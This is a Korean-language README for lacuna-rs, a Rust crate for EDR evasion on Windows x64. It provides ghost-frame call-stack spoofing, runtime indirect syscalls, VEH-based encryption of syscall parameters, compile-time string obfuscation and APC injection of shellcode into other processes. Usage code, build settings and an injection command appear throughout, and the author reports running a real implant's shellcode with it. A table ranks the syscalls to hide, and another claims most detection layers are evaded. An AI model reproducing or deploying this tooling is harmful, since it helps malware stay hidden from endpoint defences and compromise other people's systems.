
Windows x64용 ghost-frame call-stack spoofing, runtime indirect syscalls 및 APC injection을 위한 Rust crate입니다. SSN resolution, JIT stub emission 및 VEH-based parameter encryption을 제공하여 EDR evasion을 지원합니다.
고스트 프레임 호출 스택 스푸핑 + Windows x64용 런타임 간접 시스템 콜 — Rust로 포팅됨.
Mohamed Alzhrani (0xmaz)의 LACUNA Chain (lacuna_chain.c)에서 포팅되었습니다.
lacuna-rs는 원본 C TTP와 동일한 프리미티브를 제공하는 재사용 가능한 Rust 크레이트로, wsyscall-rs 또는 syscalls-rs처럼 모든 Rust 프로젝트에 바로 포함할 수 있도록 설계되었습니다. 하지만 런타임 SSN 해석, 함수별 syscall;ret 타겟팅, 고스트 프레임 스택 스푸핑을 지원합니다.
stack-spoof기능은 소비 크레이트가 프레임 포인터로 컴파일되지 않은 경우 자동으로 실패합니다.
chain.rs의 스택 스톰핑 프리미티브는 mov rbp, {x} 인라인 어셈블리를 통해 호출자의 반환 주소 슬롯을 찾습니다. 이를 위해서는 RBP 체인이 온전해야 합니다. Rust(및 대부분의 릴리스 모드 컴파일러)는 기본적으로 프레임 포인터를 생략합니다.
build.rs는 이 크레이트 자체의 코드 생성에 대해 force-frame-pointers=yes를 설정하지만, Cargo는 컴파일러 플래그를 다운스트림 크레이트로 전파할 수 없습니다. 자신의 프로젝트에 다음을 추가해야 합니다:
# .cargo/config.toml (lacuna-rs가 아닌 자신의 크레이트에)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
이 설정이 없으면 stomp_plant()는 RBP에서 쓰레기 값을 읽어 아무 작업도 수행하지 않거나(최상의 경우) 스택을 손상시킵니다(최악의 경우). 크레이트는 런타임에 프레임 포인터가 활성화되었는지 감지할 방법이 없습니다. 단순히 작동하지 않습니다.
스캔, SSN 해석, 인젝션 프리미티브(스택 스푸핑 제외)만 필요한 경우 stack-spoof 기능을 생략할 수 있으며, 이 요구 사항은 적용되지 않습니다.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
기능이 활성화되지 않으면 스캔/PE/NT 레이어만 사용할 수 있습니다.
cargo run --example scan
cargo run --example verify --features stack-spoof
실제 임플란트를 사용한 인젝션 예제 - C2는 오프라인이었지만 셸코드가 실행됨
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
VEH 진단 출력(스택 덤프, 레지스터 출력)을 활성화하려면 --verbose를 추가하세요:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
대상 프로세스의 모든 스레드에 APC를 대기시키는 대신(너무 많은 스레드가 동시에 알림을 받으면 프로세스가 충돌할 수 있음), inject_sapc는 점수 알고리즘을 사용하여 최상의 MAX_APC_THREADS(5) 후보를 선택합니다:
NtQueryInformationThread(ThreadCycleTime) — 주요 활동 지표NtQueryInformationThread(ThreadTimes) — 커널 + 사용자 시간NtQueryInformationThread(ThreadSuspendCount) — 일시 중단되지 않은 스레드는 +300 보너스; 일시 중단된 스레드는 일시 중단 횟수당 -150NtQueryInformationThread(ThreadBasicInformation) — 우선순위 8-10 스레드는 +150 보너스; 범위를 벗어난 우선순위는 -100 페널티완전히 유휴 상태인 스레드(사이클 및 CPU 시간이 0)는 완전히 건너뜁니다. 나머지 후보는 점수(내림차순, 동점 시 사이클 기준)로 정렬되어 상위 5개로 제한됩니다.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// 고스트 영역 스캔
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} 고스트 영역이 ntdll에 있습니다.", n);
// 특정 함수에 대한 SSN + syscall;ret 해석
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + 함수 자체의 syscall;ret 주소 해석
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT 스텁 생성: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (또는 build_chain이 호출된 경우 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("스텁 할당 실패");
// 해당 함수 포인터 타입으로 캐스팅하여 호출
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u를 스캔하여 6계층 가짜 호출 스택을 구축합니다.
// G_GHOST_GADGET을 설정하여 스텁이 서명된 DLL의 JMP [RBX]를 통해 라우팅되도록 합니다.
lacuna::chain::build_chain();
// VEH 핸들러 등록 (파라미터 암호화 + 체인 가드)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 등록 실패");
// 선택 사항: 런타임에 상세 진단 활성화
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// 고스트 프레임 배치 (반환 주소를 서명된 DLL 고스트로 교체)
lacuna::chain::stomp_plant();
// syscall;ret에 DR0 설정 — VEH가 경계에서 XOR 암호화된 파라미터를 해독합니다.
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// 간접 스텁을 통해 호출 — RIP가 ntdll 내부 커널 진입점에 위치합니다.
let _status = unsafe { open_proc(/* XOR 암호화된 파라미터 */) };
// 보호되지 않은 호출 전에는 항상 비활성화
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
모든 API 호출에 전체 LACUNA 처리가 필요한 것은 아닙니다. 핵심 원칙은 EDR이 인젝션 또는 사후 익스플로잇 활동으로 상관 관계를 맺을 수 있는 호출을 숨기는 것입니다.
다음은 EDR이 후킹하고 상관 관계를 맺는 "크라운 주얼" NT 시스템 콜입니다:
이 각각에 대해:
nt::resolve(ntdll, b"NtXxx\0")로 해석stub::make_stub(ssn, syscall_ret)로 스텁 생성veh::pcrypt_arm(key, syscall_ret, true)로 민감한 파라미터 XOR 암호화chain::stomp_plant()와 chain::stomp_restore() 사이에 호출 래핑nt::resolve(ntdll, b"NtXxx\0")로 해석 — (SSN, syscall_ret_VA) 반환.stub::make_stub(ssn, syscall_ret)로 JIT 스텁 생성 — 호출 가능한 함수 포인터 반환.core::mem::transmute를 통해 적절한 extern "system" fn(...) 타입으로 캐스팅.chain::build_chain()으로 고스트 프레임 체인 구축하고 호출 주위에 chain::stomp_plant() / chain::stomp_restore() 사용.veh::pcrypt_arm(key, syscall_ret, true)로 파라미터 암호화 설정, 호출 후 veh::pcrypt_disarm().lc!()로 래핑해야 합니다 — 크레이트가 이를 강제하며, VEH 진단은 기본적으로 꺼져 있는 set_verbose(true) 뒤에 게이팅됩니다.스텁은 mov r10, rcx / mov eax, SSN / jmp [syscall;ret] 시퀀스를 자동으로 처리합니다. 고스트 가젯이 등록된 경우 스텁은 JMP [RBX]를 통해 라우팅되어 이중 사용 실행 리디렉션 + 제로 아티팩트 브리지 프레임을 제공합니다.
LACUNA Chain 라이트업의 9가지 주요 기여가 모두 코드에 포함되어 있습니다:
syscalls-rs를 그냥 사용하지 않나요?syscalls-rs와 wsyscall-rs는 특정 Windows 빌드의 ntdll에서 빌드 타임 SSN 테이블을 생성합니다. 대상 머신이 다른 빌드를 실행하면 SSN이 잘못되어 시스템 콜이 실패하거나 EDR 휴리스틱을 트리거합니다.
lacuna-rs는 ntdll의 스텁을 직접 읽어 런타임에 SSN을 해석하고, 함수 자체의 syscall;ret 명령어를 타겟팅하여 RIP가 커널 진입점의 ntdll 내부에 있도록 합니다. 이는 EDR의 "SSN 불일치" 및 "백업되지 않은 메모리의 간접 시스템 콜" 휴리스틱을 무력화합니다.
또한 lacuna-rs는 syscalls-rs가 제공하지 않는 고스트 프레임 스택 스푸핑 체인을 제공합니다.
x86_64-pc-windows-msvc (또는 x86_64-pc-windows-gnu)litcrypt2 (컴파일 타임 문자열 난독화)stack-spoof 전용)stack-spoof 기능은 프레임 포인터가 필요합니다. build.rs는 이 크레이트에 대해 force-frame-pointers=yes를 자동으로 설정하지만, 소비 크레이트도 .cargo/config.toml에서 설정해야 합니다:
# .cargo/config.toml (소비 크레이트에)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
크레이트와 예제의 모든 문자열 리터럴은 lc!() 매크로로 래핑되어 컴파일 타임에 암호화되고 런타임에 해독됩니다. 암호화 키는 LITCRYPT_ENCRYPT_KEY 환경 변수에서 읽습니다. 설정되지 않은 경우 litcrypt2가 자동으로 무작위 키를 생성합니다.
재현 가능한 빌드를 위해 키를 고정하려면:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # stack-spoof를 위한 force-frame-pointers 설정
├── src/
│ ├── lib.rs # 크레이트 루트 + 재익스포트 + scan_all() + litcrypt2 설정
│ ├── win.rs # Win32/NT FFI 바인딩 (no_std 호환)
│ ├── pe.rs # PE 섹션 + 익스포트 파싱
│ ├── scan.rs # .pdata 고스트 영역 + 가젯 스캔
│ ├── nt.rs # SSN 해석 + syscall;ret 타겟팅
│ ├── stub.rs # JIT 간접 시스템 콜 스텁 생성
│ ├── veh.rs # VEH + 하드웨어 브레이크포인트 파라미터 암호화
│ ├── chain.rs # LACUNA 고스트 프레임 체인 + 스톰프
│ └── inject.rs # 섹션 기반 APC 인젝션
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc 타겟
이 프로젝트는 AI 챗봇의 적극적인 도움을 받았습니다. 저는 더 새롭고 매우 유능한 오픈 소스 모델(GLM-5.2 by Z.ai (Zhipu AI))을 테스트할 기회가 있었고, 어려운 작업을 주고 싶었습니다. 배운 점: 결과가 어떻게 나올지 사람이 알고 있다면 잘 작동했습니다. 그렇지 않다면... 그냥 쓰레기였습니다.
MIT
| 프리미티브 | C 함수 | Rust 모듈 |
|---|
| PE 섹션 + 익스포트 파싱 | pe_section(), pe_export() | pe |
.pdata 고스트 영역 스캔 | scan_ghosts(), best_ghost() | scan |
고스트 가젯 발견 (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP 갭 찾기 | win32u_nop_gap() | scan |
| BYOUD-MF 앵커 찾기 | find_mf_target() | scan |
| SSN 해석 (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
함수별 syscall;ret 로케이터 | find_func_syscall() | nt |
| JIT 간접 시스템 콜 스텁 생성 | alloc_stub() | stub |
| 고스트 가젯 스텁 리디렉션 | (alloc_stub() 내) | stub |
| VEH + 하드웨어 브레이크포인트 파라미터 암호화 | param_encrypt_veh(), pcrypt_arm() | veh |
| 체인 가드 VEH | chain_veh() | veh |
| LACUNA 체인 구축 | build_chain() | chain |
| 스택 스톰프 (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| 체인 워커 (검증) | lacuna_walk_chain() | chain |
| 섹션 기반 APC 인젝션 | do_inject_sapc() | inject |
| 기능 | 설명 | 프레임 포인터 필요? |
|---|
syscalls (기본값) | SSN 해석 + JIT 스텁 생성 | 아니오 |
inject (기본값) | 섹션 기반 APC 인젝션 (inject::inject_sapc) | 아니오 |
veh | VEH + 하드웨어 브레이크포인트 파라미터 암호화 | 아니오 |
stack-spoof | LACUNA 고스트 프레임 체인 + 스택 스톰프 | 예 |
no-std | no_std 모드 (실험적) | 아니오 |
| 호출 | 민감한 이유 |
|---|
NtOpenProcess | 다른 프로세스에 대한 핸들 열기 — 인젝션의 첫 단계 |
NtCreateSection + NtMapViewOfSection (원격) | 섹션 기반 인젝션 시그니처 |
NtWriteVirtualMemory | 프로세스 간 쓰기 — 전형적인 인젝션 지표 |
NtCreateThreadEx | 원격 스레드 생성 — 가장 높은 신호의 인젝션 프리미티브 |
NtQueueApcThread | APC 인젝션 — 높은 신호 |
NtProtectVirtualMemory | RWX 권한 변경 — 셸코드 스테이징 지표 |
NtAllocateVirtualMemory (원격) | 원격 할당 — 인젝션 전주곡 |
NtSetInformationThread | 스레드 숨기기 (HideFromDebugger) — 회피 지표 |
| 호출 | 안전한 이유 |
|---|
NtQueryInformationThread | 읽기 전용, 거의 후킹되지 않음, 프로세스 간 쓰기 없음 |
NtDelayExecution | Sleep — 무해, 모든 애플리케이션이 사용 |
NtClose | 핸들 닫기 — 무해, 매우 일반적 |
GetModuleHandleA / GetProcAddress | 모듈 해석 — 시스템 콜이 아님, EDR 사용자 모드 후킹 불가 |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | 스레드 열거 — kernel32, ntdll 시스템 콜 아님 |
OpenThread / CloseHandle | 표준 핸들 작업 — kernel32 |
GetThreadContext / SetThreadContext | DR0에 필요 — kernel32, 자체 프로세스 전용 |
| # | 라이트업 개념 | 코드 위치 | 설명 |
|---|
| 1 | BYOUD-Gap (.pdata 수정 제로) | chain.rs — 고스트 프레임 체인 구축 | RUNTIME_FUNCTION 항목 간의 간격을 활용; 언와인더가 리프 프레임으로 처리 (RSP += 8) |
| 2 | ETW-Ti APC 윈도우 공격 | inject.rs — NtDelayExecution 알림 가능 드레인 | 스레드 알림 가능 상태를 조작하여 ETW-Ti APC 스택 스냅샷이 발사되는 시점을 제어 |
| 3 | BYOUD 컨텍스트에서 파라미터 암호화 | veh.rs — pcrypt_arm(), param_encrypt_veh() | 스테이징 시 시스템 콜 파라미터를 XOR 암호화; syscall 명령어에서 하드웨어 브레이크포인트 VEH 내에서 해독 |
| 4 | Win32u NOP 갭 체인 + 고스트 가젯 | scan.rs — win32u_nop_gap(), scan_ghost_gadgets() | win32u.dll에 1,242개의 NOP 갭이 화이트리스트 리프 프레임 제공; ntdll+0xFC47B에 JMP [RBX] 고스트 가젯 |
| 5 | kernelbase 의미론적 고스트 근접성 | chain.rs — VirtualProtect 근처 L2_kbase 레이어 | VirtualProtect 진입점에서 끝나는 238바이트 고스트 — 실제 VP 반환 사이트와 구별 불가능 |
| 6 | BYOUD-MF (머신 프레임 RSP 텔레포트) | chain.rs — MachFrame 구조체, scan.rs — find_mf_target() | KiUser* 디스패처에서 UWOP_PUSH_MACHFRAME (opcode 10)을 활용하여 단일 프레임에서 임의의 RSP 텔레포트 |
| 7 | BYOUD-RT (런타임 RSP 계산) | chain.rs — teb_stack_base(), teb_stack_limit() | 호출 시간에 TEB.StackBase (GS:[0x08])를 읽어 정확한 프레임 거리 계산 — 사전 보정 필요 없음 |
| 8 | wow64.dll 고스트 근접성 | chain.rs — L1_wow64 레이어, scan.rs — Wow64PrepareForException 타겟팅 | Wow64PrepareForException 진입점에서 끝나는 91바이트 고스트 — 체인의 네 번째 의미론적 레이어 |
| 9 | 6계층 LACUNA 체인 | chain.rs — LacunaStack 구조체 (L1-L5 + MachFrame) | 전체 체인: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| 탐지 계층 | 상태 | 구현 |
|---|
| 모듈 출처 확인 | 회피 | 모든 프레임이 ntdll / kernelbase / wow64 / win32u에 있음 |
| 언와인드 워크 정확성 | 회피 | 모든 라쿠나 프레임은 리프 -> 유효한 RSP+8 |
.pdata 포렌식 스캔 | 회피 | 수정 제로; 간격은 이미 존재 |
| CET 섀도 스택 | 회피 | 순수 리프 체인; 섀도 스택 참조 안 함 |
| 의미론적 프레임 분석 | 회피 | WoW64 예외 + VirtualProtect 인접성 |
| Win32u 규칙 면제 | 회피 | 모든 규칙에서 레이어 4를 명시적으로 제외 |
| ETW-Ti STACKWALK | 회피 | APC 윈도우 공격이 스냅샷 타이밍 제어 |
| 파라미터 검사 | 회피 | HW 브레이크포인트 VEH 해독 |
| 커널 콜백 | 부분적 | 핸들 작업은 여전히 ObRegisterCallbacks 발생 |